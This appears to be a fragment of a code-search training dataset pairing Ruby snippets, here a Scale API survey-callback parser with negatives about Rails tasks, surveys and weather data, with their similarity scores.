"def run_pi\n key = request.headers[\"Authorization\"]\n format_token(key)\n\n pet = Pet.find_by(api_key: key)\n user_request = Request.find_by(pet_id: pet.id)\n feed_request = user_request.body\n schedule_request = user_request.schedule\n\n res = { feed_request: feed_request, schedule_request: schedule_request }\n render json: res\n end",
"def set_task_service\n @task_service = TaskService.new\n end",
"def scale(force_instances=nil)\n if self.cluster.nil?\n Onering::Logger.error(\"Task #{self.id} is missing the cluster attribute\")\n return false\n end\n\n self.instances = self.instance_count(force_instances)\n\n\n # persist the target instances count\n # --------------------------------------------------------------------------\n if self.save()\n Onering::Logger.debug(\"Task #{self.id} target instances set to #{self.instances}\")\n\n marathon_node = nil\n cluster_node_apps = nil\n\n # verify connectivity to the compute cluster\n # ------------------------------------------------------------------------\n Asset.urlquery(\"mesos.masters.options.cluster/#{self.cluster}\").each do |node|\n url = \"http://#{node.get(:fqdn)}:8080/v1/apps\"\n response = HTTParty.get(url)\n\n if response.code == 200\n cluster_node_apps = MultiJson.load(response.body)\n marathon_node = node\n break\n else\n Onering::Logger.warn(\"Unable to communicate with Marathon on node #{node.id} via #{url}\")\n next\n end\n end\n\n if marathon_node.nil?\n Onering::Logger.error(\"Cannot contact any Marathon nodes\")\n return false\n end\n\n # build the request\n # ------------------------------------------------------------------------\n marathon_task_name = \"harbormaster-#{self.id}\"\n cluster_app = cluster_node_apps.select{|i| i.get(:id) == marathon_task_name }.first\n\n body = {\n :id => marathon_task_name,\n :instances => self.instances,\n :mem => self.resources.get(:memory),\n :cpus => self.resources.get(:cpu),\n :cmd => self.task.get(:name),\n :env => self.resources.get(:environment,{})\n }\n\n # send request (with retries!)\n # ------------------------------------------------------------------------\n scale_success = false\n\n 3.times.each do\n break if scale_success === true\n\n catch(:retry) do\n response = nil\n url = nil\n\n # task not found in cluster, start it\n if cluster_app.nil?\n if self.enabled === true\n url = \"http://#{marathon_node.get(:fqdn)}:8080/v1/apps/start\"\n response = HTTParty.post(url, {\n :headers => {\n 'Content-type' => 'application/json'\n },\n :body => MultiJson.dump(body)\n })\n else\n Onering::Logger.debug(\"Task #{self.id} is disabled and absent from Marathon, skipping...\")\n return true\n end\n\n # task IS found in cluster\n else\n payload = MultiJson.dump(Hash[body.select{|k,v|\n [:id, :instances].include?(k.to_sym)\n }])\n\n # if these properties are changing, stop the existing service first\n if cluster_app['cmd'] != body[:cmd] or\n cluster_app['mem'].to_f != body[:mem].to_f or\n cluster_app['cpus'].to_f != body[:cpus].to_f\n then\n Onering::Logger.info(\"Launch parameters have changed for task #{self.id} (Marathon task #{marathon_task_name}), relaunching...\")\n\n response = HTTParty.post(\"http://#{marathon_node.get(:fqdn)}:8080/v1/apps/stop\", {\n :headers => {\n 'Content-type' => 'application/json'\n },\n :body => payload\n })\n\n if response.code >= 300\n Onering::Logger.warn(\"Received HTTP #{response.code} while stopping task #{self.id} (Marathon task #{marathon_task_name})\")\n end\n\n cluster_app = nil\n throw :retry\n end\n\n # stop it if we're not enabled\n if self.enabled == false\n Onering::Logger.debug(\"Sending stop command to #{marathon_node.get(:fqdn)} for task #{marathon_task_name}\")\n\n url = \"http://#{marathon_node.get(:fqdn)}:8080/v1/apps/stop\"\n response = HTTParty.post(url, {\n :headers => {\n 'Content-type' => 'application/json'\n },\n :body => payload\n })\n\n # scale it to n instances otherwise\n else\n Onering::Logger.debug(\"Sending scale command to #{marathon_node.get(:fqdn)} for task #{marathon_task_name}\")\n\n url = \"http://#{marathon_node.get(:fqdn)}:8080/v1/apps/scale\"\n response = HTTParty.post(url, {\n :headers => {\n 'Content-type' => 'application/json'\n },\n :body => payload\n })\n end\n end\n\n if response.code < 300\n scale_success = true\n next\n end\n\n Onering::Logger.warn(\"Received response HTTP #{response.code} from #{url}\")\n end\n end\n\n if scale_success === true\n # save the last scaled time\n # ----------------------------------------------------------------------\n self.last_scaled_at = Time.now\n self.save()\n\n return self\n else\n Onering::Logger.error(\"Attempt to scale task #{self.id} (Marathon task #{marathon_task_name}) failed\")\n return false\n end\n\n else\n return false\n end\n end",
"def queue(options={})\n# puts 'in queue'\n set_auto_attributes\n upload_if_needed\n\n response = SimpleWorker.service.queue(self.class.name, sw_get_data, options)\n# puts 'queue response=' + response.inspect\n# @task_set_id = response[\"task_set_id\"]\n @task_id = response[\"task_id\"]\n response\n end",
"def run\n super\n\n entity_name = _get_entity_name\n entity_type = _get_entity_type_string\n\n # Make sure the key is set\n api_key = _get_task_config(\"spyse_api_key\")\n # Set the headers\n headers = { \"Accept\" => \"application/json\" , \"Authorization\" => \"Bearer #{api_key}\" }\n\n if entity_type == \"Domain\"\n # Search Ip for domain hosted on the same IP\n search_domain_on_same_ip entity_name,headers\n\n # Search subdomain related to the domain\n search_subdomains entity_name,headers\n else\n _log_error \"Unsupported entity type\"\n end\n\n end",
"def start_task(task)\n @tasks.synchronize {\n @tasks << Task.new(task)\n @timestamp.renew!\n }\n task\n end",
"def call(_obj, args, _ctx)\n Task.create!(\n name: args[:name],\n description: args[:description]\n )\n end",
"def perform\n publish_scheduled\n end",
"def set_task\n @task = Task.find_by(id: params[:id])\n end",
"def set_task\n @task = Task.find_by(id: params[:id])\n end",
"def create\n other_params, category_ids = task_params\n @task = Task.new(other_params)\n set_categories(category_ids, @task)\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # TODO: authorize this POST because it return the tasks from the given serial_num scoping it's company.\n # So any POST with a valid serial_num will return it's tasks\n @lamp_stat = LampStat.new(lamp_stat_params)\n\n respond_to do |format|\n if @lamp_stat.save\n tasks = Task.cache_tasks @lamp_stat.serial_num\n tasks = tasks.as_json(only: [:id, :code, :attachable_id])\n .merge(serial: @lamp_stat.serial_num) if tasks\n format.html { redirect_to @lamp_stat, notice: 'Status foi criado com sucesso' }\n tasks ? format.json {render json: tasks, status: :created} : format.json {head :no_content}\n else\n format.html { render :new }\n format.json { render json: @lamp_stat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:task][:task_type] == \"1\" && (params[:output_model_name].blank? || params[:output_model_name].strip.blank?)\n @task = Task.new\n @task.task_type = 1\n @task.errors.add(:base, :name_or_email_blank, message: \"Nothing entered. Please enter a model name.\")\n @task.lexicon_group_id = params[:task][:lexicon_group_id]\n @lexicon_options = [[\"- None -\", 0]] + @current_user.lexicon_groups.map{|l| l.option_item}\n @models = @current_user.models\n return render :new\n end\n @task = @collection.create_task(params)\n respond_to do |format|\n unless @task.nil?\n format.html { redirect_to collection_tasks_path(@collection), notice: 'The task was successfully created.' }\n format.json { render :show, status: :created, location: @task }\n else\n logger.debug(\"Fail\")\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_task\n @task = Task.find(params[:id]) # OG\n end",
"def execute_task(task)\n cur_sauce = Sauce.current\n begin\n self.serve\n self.cap_config.execute_task(task)\n ensure\n cur_sauce.serve if cur_sauce\n end\n end",
"def create\n\t\t@task = Task.new(task_params)\n\t\t@task.user = current_user\n\n\t\trespond_to do |format|\n\t\t\tif @task.save\n\t\t\t\tformat.html { render json: @task }\n\t\t\t\tformat.json { render json: @task }\n\t\t\telse\n\t\t\t\tformat.html { render :new }\n\t\t\t\tformat.json { render json: @task.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def set_traffic\n @traffic = Task.find(params[:id])\n end",
"def set_task\n @task = Task.find(params[:task_id])\n end",
"def set_task\n @task = Task.find(params[:task_id])\n end",
"def create\n @task = Task.new(task_param)\n @task.user_id = current_user.id\n\n respond_to do |format|\n if @task.save\n format.json { render json: @task, status: :created, location: @task }\n format.js { render }\n else\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @slow_thing = SlowThing.new(slow_thing_params)\n\n respond_to do |format|\n if @slow_thing.save\n\n domain = URI(root_url)\n Net::HTTP.start(domain.host, domain.port) do |http|\n Rails.logger.debug \"purging #{domain}\"\n http.request( Purge.new(domain) )\n\n Rails.logger.debug \"purging #{slow_things_url}\"\n http.request( Purge.new(URI(slow_things_url)) )\n end\n\n format.html { redirect_to @slow_thing, notice: 'Slow thing was successfully created.' }\n format.json { render :show, status: :created, location: @slow_thing }\n else\n format.html { render :new }\n format.json { render json: @slow_thing.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6006873",
"0.596223",
"0.5961344",
"0.5896093",
"0.58250946",
"0.5758471",
"0.575588",
"0.5752058",
"0.5737704",
"0.5719859",
"0.57064813",
"0.5706156",
"0.57034546",
"0.5687715",
"0.56832296",
"0.5666971",
"0.5622342",
"0.56175256",
"0.56154364",
"0.55883",
"0.55785984",
"0.55623657",
"0.5560224",
"0.55431193",
"0.5531024",
"0.5523067",
"0.55177003",
"0.5516263",
"0.54947525",
"0.5486045",
"0.54822344",
"0.5479131",
"0.54513174",
"0.5444227",
"0.54366964",
"0.5423674",
"0.5413848",
"0.5400166",
"0.5398264",
"0.53965765",
"0.53938836",
"0.53918386",
"0.53847766",
"0.5382273",
"0.5378833",
"0.5374234",
"0.5366918",
"0.53611714",
"0.5354661",
"0.534901",
"0.53489053",
"0.53449327",
"0.5333452",
"0.5332649",
"0.5325786",
"0.5324035",
"0.5322363",
"0.53196174",
"0.5317748",
"0.5316423",
"0.5309992",
"0.5304768",
"0.5302424",
"0.530194",
"0.5300559",
"0.5297412",
"0.5287571",
"0.52819586",
"0.5265789",
"0.52657163",
"0.5257881",
"0.525249",
"0.52465",
"0.5239887",
"0.5239887",
"0.5239887",
"0.5239887",
"0.5239887",
"0.5239887",
"0.52255464",
"0.52199703",
"0.5218741",
"0.521169",
"0.52028507",
"0.5199091",
"0.51864815",
"0.51864684",
"0.5184554",
"0.5184554",
"0.5183982",
"0.51820135",
"0.51812786",
"0.51772326",
"0.5175952",
"0.5173384",
"0.5171369",
"0.51688683",
"0.51688683",
"0.51668566",
"0.51664335"
] |
0.6873843
|
0
|
Parse callback from Scale on the survey and assign response to a model
|
def parse_response(response)
if response["outcome"]=="success"
#Assign calorie counts and grams breakdown
self.total_calories=response["fields"]["total_calories"].to_i
self.protein_grams=response["fields"]["total_calories"].to_i
self.fat_grams=response["fields"]["fat_grams"].to_i
self.carbohydrate_grams=response["fields"]["carbohydrate_grams"].to_i
self.fiber_grams=response["fields"]["fiber_grams"].to_i
#Number of coffees
self.number_of_coffees=response["fields"]["number_of_coffees"].to_i
#Assign medications based on response
if response["choice"]=='only_took_morning_meds'
self.morning_medications=true
self.evening_medications=false
elsif response["choice"]=='only_took_evening_meds'
self.morning_medications=false
self.evening_medications=true
elsif response["choice"]=='took_both_morning_and_evening'
self.morning_medications=true
self.evening_medications=true
else
self.morning_medications=false
self.evening_medications=false
end
self.save
else
raise "Bad Scale API callback data"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def parse(savon_response)\n new(savon_response)\n end",
"def parse(savon_response)\n response = new(savon_response)\n response.raw[\"#{key}_response\".to_sym][\"#{key}_result\".to_sym][:response_type]\n end",
"def set_survey_response\n @survey_response = SurveyResponse.find(params[:id])\n end",
"def parse(response)\n\nend",
"def set_survey_response\n @survey_response = SurveyResponse.find(params[:id])\n end",
"def set_survey_response\n @survey_response = SurveyResponse.find(params[:id])\n end",
"def set_survey_response\n @survey_response = SurveyResponse.find(params[:id])\n end",
"def set_survey_response\n @survey_response = SurveyResponse.find(params[:id])\n end",
"def create_task\n\n #Assign url\n url=\"https://api.scaleapi.com/v1/task/phonecall\"\n\n #Auth credentials setup\n auth = {:username=>ENV[\"SCALE_API_KEY\"], :password=>\"\"}\n \n #Assign headers\n headers = {\"Content-Type\"=>\"application/json\"}\n\n #Create payload\n params = {callback_url: 'https://mysterious-ridge-35983.herokuapp.com/survey_callback',\n instruction: \"Call this person and ask him his calorie counts for yesterday and the number of coffees he drank. Then, ask him if he took his morning and evening medications.\",\n script: \"Hey! (pause) How many calories did you eat yesterday? (pause) What about protein grams (pause)?\"\\\n \" What about carbohydrate grams (pause)? What about fat grams (pause)? What about fiber grams (pause)?\"\\\n \" How many coffees did you drink (pause)? Did your take your morning and evening meds (pause)?\",\n phone_number: ENV[\"PHONE_NUMBER\"],\n entity_name: ENV[\"OWNER_NAME\"],\n fields: { total_calories: 'Total Calories',\n protein_grams: 'Protein Grams',\n carbohydrate_grams: 'Carbohydrate Grams',\n fiber_grams: 'Fiber Grams',\n fat_grams: 'Fat Grams',\n number_of_coffees: 'Coffees per Day'},\n urgency: \"immediate\",\n choices: ['only_took_morning_meds', 'only_took_evening_meds', 'took_both_morning_and_evening','no_meds_taken']}\n\n #Send request\n begin\n\n request=HTTParty.post(url,:basic_auth=>auth, :headers=> headers, :body=>params.to_json)\n\n #Receive request and store response\n self.scale_api_id=request[\"task_id\"]\n self.json_data=JSON.dump(request)\n\n rescue\n\n #If there's an error, raise an exception to prevent DailySurvey object being created\n raise \"Bad Scale API request\"\n \n end\n \n end",
"def set_post\n \t\t@surveyresults = Surveyresult.find(params[:ResultId])\n \tend",
"def parse_response!; end",
"def set_survey_question_response\n @survey_question_response = SurveyQuestionResponse.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def set_survey_result\n @survey_result = SurveyResult.find(params[:id])\n end",
"def show\n @survey_response = SurveyResponse.find(params[:id])\n \n convert_responses([@survey_response])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @survey_response }\n end\n end",
"def received_user_response\n answer = params[:Body]\n phone_number = params[:From]\n\n respondent = Respondent.find_by_phone_number(phone_number.phony_normalized) || raise(RespondentNotFoundError)\n state = respondent.survey_execution_states.find_by(status: [INITIALIZED, IN_PROGRESS]) ||\n raise(SurveyExecutionStateNotFoundError)\n\n survey = state.survey\n question = state.question\n\n if question.response_choices.exists?\n # Lowercase for a case-insensitive comparison against the response choices\n # and persist it this way for consistency\n answer = answer.downcase\n end\n\n survey_response = SurveyResponse.find_or_create_by(survey: survey, respondent: respondent)\n response = Response.new(\n survey_response: survey_response, respondent: respondent, question: question, answer: answer)\n\n if question.is_response_valid?(response)\n response.save!\n next_question = question.next_question(response)\n if next_question.nil?\n message = survey.finished_message\n state.status = FINISHED\n else\n message = next_question.formatted_question_and_responses\n state.question = next_question\n state.status = IN_PROGRESS\n end\n else\n message = 'Invalid response, please try again.'\n state.status = IN_PROGRESS\n end\n state.save\n\n Sms::Client.instance.send(respondent.phone_number, message)\n\n head :ok\n end",
"def create\n @s = []\n params.each do |name, value|\n if name =~ /vertical_(.+)$/\n if value =~ /radio(.+)$/\n @s << $1.to_i\n end\n end\n end\n @poll = Poll.find(Pollitem.find(@s[0].to_i).poll_id)\n for s in @s\n @survey = Survey.create(pollitem_id: s.to_i, user_id: current_user.id, poll_id: @poll.id)\n end\n\n\n respond_to do |format|\n if @survey.save\n format.html { redirect_to @survey, notice: 'Survey was successfully created.' }\n format.json { render :show, status: :created, location: @survey }\n format.js\n else\n format.html { render :new }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def start_questionnaire\n # bypassing the need for the user to select the survey - since we're launching with just one 'legislation'\n # When multiple legislations are available, this value will need to be provided by the form\n access_code = params[:survey_access_code] ||\n current_user.try(:default_jurisdiction) ||\n Survey::DEFAULT_ACCESS_CODE\n\n\n # if a dataset isn't supplied, create one for an authenticated user, or mock one for unauthenticated\n @dataset = Dataset.find_by_id(params[:dataset_id]) || (user_signed_in? ? current_user.datasets.create : Dataset.new)\n authorize! :update, @dataset\n\n # use the most recent survey\n @survey = Survey.where(:access_code => access_code).order(\"survey_version DESC\").first\n\n @response_set = ResponseSet.\n create(:survey => @survey,\n :user_id => current_user.try(:id),\n :dataset_id => @dataset.id\n )\n\n if @survey && @response_set\n session[:response_set_id] = current_user ? nil : @response_set.id\n\n if params[:source_response_set_id]\n source_response_set = ResponseSet.find(params[:source_response_set_id]) # TODO: ensure user has rights to copy the response set answers?\n @response_set.copy_answers_from_response_set!(source_response_set)\n end\n\n # flash[:notice] = t('surveyor.survey_started_success')\n redirect_to(surveyor.edit_my_survey_path(\n :survey_code => @survey.access_code, :response_set_code => @response_set.access_code))\n else\n flash[:notice] = t('surveyor.unable_to_find_that_legislation')\n redirect_to (user_signed_in? ? dashboard_path : root_path)\n end\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def survey_response_params\n params[:survey_response]\n end",
"def create\n @response = Response.new(params[:response])\n @response.ip_address = request.remote_ip\n @response.survey_id = @survey.id\n @response.user_id = current_user\n \n for param in params do\n if param[0] =~ /^question_id_/\n # handle all question parameters\n # $' represents the value of the question_id\n if param[1].is_a? Hash\n # Valid keys include country, option, year, month, day and numeric option_id\n if param[1].has_key? \"year\" && \"month\" && \"day\"\n # concat year, month and day into one answer\n @response.answers.build(:question_id => $', :answer => Date.new(param[1][\"year\"].to_i, param[1][\"month\"].to_i, param[1][\"day\"].to_i) )\n elsif param[1].has_key? \"option\"\n # look up option id for radio & select questions and build answer\n option_id = Option.find_by_label_and_question_id(param[1][\"option\"], $').id\n @response.answers.build(:question_id => $', :answer => param[1][\"option\"], :option_id => option_id)\n elsif param[1].has_key? \"country\"\n # build country answer\n @response.answers.build(:question_id => $', :answer => param[1][\"country\"])\n else\n # build checkbox and likert answers\n param[1].each do |key, value|\n @response.answers.build(:question_id => $', :answer => value, :option_id => key) unless value == \"0\"\n end\n end\n else\n # build answer without option ie text, textarea\n @response.answers.build(:question_id => $', :answer => param[1] ) #unless param[1].blank?\n end \n end\n if param[0] == 'token'\n @response.survey.update_invitation(param[1])\n end\n end\n\n respond_to do |format|\n if @response.save!\n flash[:notice] = 'Response was successfully created.'\n format.html { redirect_to([@survey, @response]) }\n format.xml { render :xml => @response, :status => :created, :location => @response }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @response.errors, :status => :unprocessable_entity }\n end\n end\n rescue ActiveRecord::RecordInvalid => invalid\n render :action => \"new\"\n end",
"def survey\n expose Survey.create(@oauth_token, params[:challenge_id].strip, \n params[:data])\n end",
"def method_missing(method_name, *args, &blk)\n match = method_name.to_s.match(/^(.+)_determined_from_responses$/)\n identifier = match && match[1].to_sym\n\n # Checks to see if the response identifier is valid\n if Survey::RESPONSE_MAP[identifier]\n # Tries to get an existing instance variable before loading the value from the database\n var = instance_variable_get(\"@#{method_name}\") || value_for(identifier)\n else\n # Otherwise defaults to Surveyor's method_missing\n super\n end\n end",
"def set_caller_survey\n # Get phone_number from the incoming GET request from Twilio\n @phone_number = Sanitize.clean(params[:From])\n\n # Get a survey\n @survey = Survey.last\n\n # Create new Survey Participant with phone_number\n @caller = SurveyParticipant.where(phone_number: @phone_number).first_or_create()\n end",
"def respond\n\t\t@poll = Poll.find(params[:id])\n\t\t@expert_user = @poll.expert_user\n\t\t@participants = @poll.participants\n\t\t@questions = @poll.questions\n\tend",
"def prepare\n model.tap do |p|\n p.identifier = set_identifiers\n p.meta = set_meta\n p.text = set_text\n p.status = COMPLETED_STATUS\n p.authored = set_date\n p.author = set_author\n p.subject = set_subject\n p.questionnaire = set_questionnaire\n p.group = set_group\n end\n end",
"def on_response &b\n @response_proc = b\n self\n end",
"def parse\n end",
"def answer\n survey = Survey.find(find_params)\n sa = SurveyAnswerer.new(survey)\n\n if sa.answer(answer_params)\n head :ok\n else\n render json: sa.errors, status: :unprocessable_entity\n end\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def process_response(obj)\n end",
"def validate_survey(_formdata: {})\n return true # TODO: Futureuse\nend",
"def response_parser; end",
"def set_model\n @model = Response.find(params[:id])\n end",
"def send_survey\n Message.send_survey_to(self)\n end",
"def set_survey_answer\n @survey_answer = SurveyAnswer.find(params[:id])\n end",
"def create\n builder = SurveyBuilder.new\n\n if builder.build(survey_params)\n @survey = builder.survey\n render json: @survey, status: :created, location: @survey\n else\n render json: builder.errors, status: :unprocessable_entity\n end\n end",
"def handle_response(response); end",
"def handle_response(response); end",
"def respond_service\r\n request = Request.find(params[:request_id])\r\n if params[:response]\r\n request.status = '1'\r\n else\r\n request.status = '3'\r\n end\r\n\r\n if params[:cancel]\r\n request.status = '3'\r\n end\r\n\r\n if params[:finish]\r\n request.status = '2'\r\n end\r\n\r\n if request.save\r\n service = Service.find(request.service_id)\r\n requests_count = Request.where(\"service_id = :service_id and status != '' and status != '0'\",{service_id: service.id}).count\r\n reports_count = Report.where(service_id: service.id).count\r\n\r\n score = 5-((5 * reports_count)/requests_count)\r\n service.score = score\r\n service.save\r\n render json: request\r\n else\r\n render json: {errors: request.errors.full_messages}, status: 422\r\n end \r\n end",
"def load_responses(parameters, survey_id)\n Question.all.each do |question|\n response = Response.new(survey_id: survey_id, question_id: question.id, choice_id: parameters[:\"#{question.id}\"])\n response.save\n end\n end",
"def handle_post(body)\n make_response(200, validate_questions(body))\nend",
"def set_survey\n @survey = Survey.find(params[:id])\n end",
"def populate_post_survey_attributes(instrument = nil, response_set = nil)\n\n # TODO: determine if the response_set for the instrument has been completed\n if instrument\n self.who_contacted = NcsCode.for_attribute_name_and_local_code(:who_contacted_code, 1)\n end\n\n case contact_type_code\n when TELEPHONE_CONTACT_CODE, MAILING_CONTACT_CODE\n self.contact_location = NcsCode.for_attribute_name_and_local_code(:contact_location_code, 2)\n self.contact_private = NcsCode.for_attribute_name_and_local_code(:contact_private_code, 2)\n self.contact_distance = 0.0\n else\n # NOOP\n end\n end",
"def parse_save_response(response_xml)\n response = parse_response(response_xml)\n record = response.response_items.first if response.response_items.is_a?(Array)\n if record && record.is_a?(self.class)\n @attributes = record.attributes\n end\n self\n end",
"def new\n @survey_response = SurveyResponse.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_response }\n end\n end",
"def create\n @my_survey = nil # MySurvey.new(params[:my_survey])\n\n respond_to do |format|\n if @my_survey.save\n format.html { redirect_to @my_survey, notice: 'My survey was successfully created.' }\n format.json { render json: @my_survey, status: :created, location: @my_survey }\n else\n format.html { render action: \"new\" }\n format.json { render json: @my_survey.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prapor_quest; end",
"def parse_response(response)\n\t date_title = response.parsed_response['response']['trip']\n\t self.title = date_title['title']\n\n\t date_start = response.parsed_response['response']['trip']['period_of_record']['date_start']['date']\n\t self.startdate = date_start['pretty']\n\n\t date_end = response.parsed_response['response']['trip']['period_of_record']['date_end']['date']\n\t\tself.enddate = date_end['pretty']\n\n\t\t#elements\n\t \tminprecip = response.parsed_response['response']['trip']['precip']['min']\n\t self.precipmin = minprecip['in']\n\t avgprecip = response.parsed_response['response']['trip']['precip']['avg']\n\t self.precipavg = avgprecip['in']\n\t maxprecip = response.parsed_response['response']['trip']['precip']['max']\n\t self.precipmax = maxprecip['in']\n\n\t mindewpoint = response.parsed_response['response']['trip']['dewpoint_high']['min']\n\t self.dewmin = mindewpoint['F']\n\t avgdewpoint = response.parsed_response['response']['trip']['dewpoint_high']['avg']\n\t self.dewavg = avgdewpoint['F']\n\t maxdewpoint = response.parsed_response['response']['trip']['dewpoint_high']['max']\n\t self.dewmax = maxdewpoint['F']\n\n\t chance_of_sunny = response.parsed_response['response']['trip']['chance_of']['chanceofsunnycloudyday']\n\t self.sunny = chance_of_sunny['name']\n\t self.sunnyper = chance_of_sunny['percentage']\n\n\t chance_of_rain = response.parsed_response['response']['trip']['chance_of']['chanceofrainday']\n\t self.rain = chance_of_rain['name']\n\t self.rainper = chance_of_rain['percentage']\n\n\t chance_of_thunder = response.parsed_response['response']['trip']['chance_of']['chanceofthunderday']\n\t self.thunder = chance_of_thunder['name']\n\t self.thunderper = chance_of_thunder['percentage']\n\n\t chance_of_wind = response.parsed_response['response']['trip']['chance_of']['chanceofwindyday']\n\t self.wind = chance_of_wind['name']\n\t self.windper = chance_of_wind['percentage']\n\n\t chance_of_snow = response.parsed_response['response']['trip']['chance_of']['chanceofsnowday']\n\t self.snow = chance_of_snow['name']\n\t self.snowper = chance_of_snow['percentage']\n\n\t chance_of_tornado = response.parsed_response['response']['trip']['chance_of']['chanceoftornadoday']\n\t self.tornado = chance_of_tornado['name']\n\t self.tornadoper = chance_of_tornado['percentage']\n\n\t chance_of_hail = response.parsed_response['response']['trip']['chance_of']['chanceofhailday']\n\t self.hail = chance_of_hail['name']\n\t self.hailper = chance_of_hail['percentage']\n\n\t chance_of_fog = response.parsed_response['response']['trip']['chance_of']['chanceoffogday']\n\t self.fog = chance_of_fog['name']\n\t self.fogper = chance_of_fog['percentage']\n\n\t #temperature\n\t date_mintemp = response.parsed_response['response']['trip']['temp_high']['min']\n\t self.min = date_mintemp['F']\n\t date_avgtemp = response.parsed_response['response']['trip']['temp_high']['avg']\n\t self.avg = date_avgtemp['F']\n\t date_maxtemp = response.parsed_response['response']['trip']['temp_high']['max']\n\t self.max = date_maxtemp['F']\n\n\t chance_of_freezing = response.parsed_response['response']['trip']['chance_of']['tempbelowfreezing']\n\t self.freeze = chance_of_freezing['name']\n\t self.freezeper = chance_of_freezing['percentage']\n\n\t chance_of_overfreezing = response.parsed_response['response']['trip']['chance_of']['tempoverfreezing']\n\t self.overfreeze = chance_of_overfreezing['name']\n\t self.overfreezeper = chance_of_overfreezing['percentage']\n\n\t chance_of_oversixty = response.parsed_response['response']['trip']['chance_of']['tempoversixty']\n\t self.warm = chance_of_oversixty['name']\n\t self.warmper = chance_of_oversixty['percentage']\n\n\t chance_of_overninety = response.parsed_response['response']['trip']['chance_of']['tempoverninety']\n\t self.hot = chance_of_overninety['name']\n\t self.hotper = chance_of_overninety['percentage']\n\n\t chance_of_sultry = response.parsed_response['response']['trip']['chance_of']['chanceofsultryday']\n\t self.sweltering = chance_of_sultry['name']\n\t self.swelteringper = chance_of_sultry['percentage']\n\n\t chance_of_humid = response.parsed_response['response']['trip']['chance_of']['chanceofhumidday']\n\t self.humid = chance_of_humid['name']\n\t self.humidper = chance_of_humid['percentage']\n\tend",
"def process_response\n job = message.job\n job.data = message.data\n job.message = message.message\n\n if message.ok?\n job.proceed!\n else\n job.error!\n end\n end",
"def create\n @response = Response.new(response_params)\n #mine\n @survey = Survey.find(params[:survey_id])\n @response.ip = request.remote_ip\n @response.survey_id = @survey.id\n @response.survey_id = params[:survey_id]\n\n respond_to do |format|\n if @response.save\n if user_signed_in?\n format.html { redirect_to survey_response_path(@survey.id, @response.id), notice: 'Thank you. Survey was successfully submitted.' }\n else\n redirecturl = (@survey.redirect.nil? || @survey.redirect.empty?) ? thanks_survey_response_path(@survey, 5) : @survey.redirect \n format.html { redirect_to redirecturl, notice: 'Thank you. Survey was successfully submitted.' }\n format.json { render action: 'show', status: :created, location: @response }\n end\n else\n Rails.logger.info(@response.errors.full_messages.join(', '))\n format.html { render action: 'new' }\n format.json { render json: @response.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @survey = Survey.find(params[:id])\n success = @survey.update_attributes(params[:survey])\n \n puts \"UPDATE: Survey:#{@survey.id} - #{@survey.name}\"\n # Load the JSON Survey form data.\n survey_questions = ActiveSupport::JSON.decode(@survey.survey_data)\n #y survey_questions\n \n update_questions(@survey, survey_questions)\n \n # Render a response.\n respond_to do |format|\n if success\n format.html { redirect_to(@survey, :notice => 'Survey was successfully updated.') }\n format.xml { head :ok }\n format.js { head :ok}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @survey.errors, :status => :unprocessable_entity }\n format.js { render :json => @survey.errors, :status => :error }\n end\n end\n end",
"def create\n\n @survey_response = SurveyResponse.new(survey_response_params)\n\n respond_to do |format|\n if @survey_response.save\n format.html { redirect_to survey_responses_path, notice: 'Survey response was successfully created.' }\n format.json { render :index, status: :created, location: @survey_response }\n else\n format.html { render :new }\n format.json { render json: @survey_response.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n question_response = QuestionResponse.build_response_essay(current_user, params)\n\n if question_response.try :save\n render json: { message: \"answer saved\" }\n else\n render json: { message: \"error\" }, status: :unprocessable_entity\n end\n end",
"def show\n respond_with( @survey )\n end",
"def ask\n @poll_centre = PollCentre.find(@question.poll_centre_id)\n if @poll_centre.has_current_question?\n #then error\n output_error = {\"error\" => \"There is a question currently in progress. Please wait for it to finish\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n elsif @question.is_asked?\n output_error = {\"error\" => \"Question already asked\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n else\n @question.started = true\n if @question.save\n channel_name = @poll_centre.title\n Pusher[\"#{channel_name}\"].trigger('question-start', {\n question_text: @question.text,\n option_a: @question.option_a,\n option_b: @question.option_b,\n option_c: @question.option_c,\n option_d: @question.option_d,\n question_id: @question.id\n })\n respond_to do |format|\n format.json { render json: @question, status: :ok }\n end\n else\n output_error = {\"error\" => \"Couldn't ask question. Please try again.\"}\n respond_to do |format|\n format.json { render json: output_error.to_json, status: :bad_request }\n end\n end\n end\n end",
"def response\n self.textual_response\n end",
